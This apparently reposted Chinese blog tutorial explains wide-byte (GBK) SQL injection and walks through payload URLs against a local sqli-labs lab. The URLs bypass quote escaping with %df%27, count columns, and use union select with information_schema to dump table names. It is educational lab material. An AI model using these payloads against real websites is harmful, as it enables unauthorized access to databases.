前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql–宽字节注入

sql–宽字节注入

作者头像
字节脉搏实验室
发布2020-04-07 16:39:12
8470
发布2020-04-07 16:39:12
举报

文章源自【字节脉搏社区】-字节脉搏实验室

作者-墨子辰

宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

宽字节注入是利用msql的一个特性,mysql在使用GBK编码的时候,会认为俩个字符是一个汉字GBK编码,它的编码范围是0×8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。通常导致编码转换的注入问题,尤其是使用php连接mysql数据库的时候,一个gbk汉字占两个字节,取值范围是(编码位数):第一个字节是(129-254),第二个字节(64-254)当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字。

gbk 两个字节 gb2312两个字节 utg-8 三个字节

https://the-x.cn/UrlDecode.aspx 在线解码编码(百度就能找到)

\' 编码为:%5C%27

%aa%5C%27 解码为:猏'

这样就能够把 ' 逃逸出来

我们以 sqli-labs靶机试试(如需下载按照,请自行百度)

http://localhost/sqli-labs-master/Less-32/?id=1'

可以看见'前面加了\,如果是在实战中,这不会有显示。所有,我们在探测sql的时候,如果加上单引号没反应,我们不妨试试%df%27

http://localhost/sqli-labs-master/Less-32/?id=1%df%27

http://localhost/sqli-labs-master/Less-32/?id=1%df%27 order by 3%23

多次测试,得到字段数目为3

http://localhost/sqli-labs-master/Less-32/?id=1%df%27 union select 1,2,3%23

http://localhost/sqli-labs-master/Less-32/?id=1%df%27 union select 1,2,database()%23

执行上述url如果没有反应,这时候我们应该考虑注入一个不存在的id(负数)

http://localhost/sqli-labs-master/Less-32/?id=-1%df%27 union select 1,database(),3%23

http://localhost/sqli-labs-master/Less-32/?id=-1%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

group_concat(table_name) 列出所有列表名称

如果不使用group_concat(table_name)只能列出单个表名

后面就是查看表里面的东西了。

如果有兴趣,推荐去南邮CTF里面做一做 GBK Injection

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档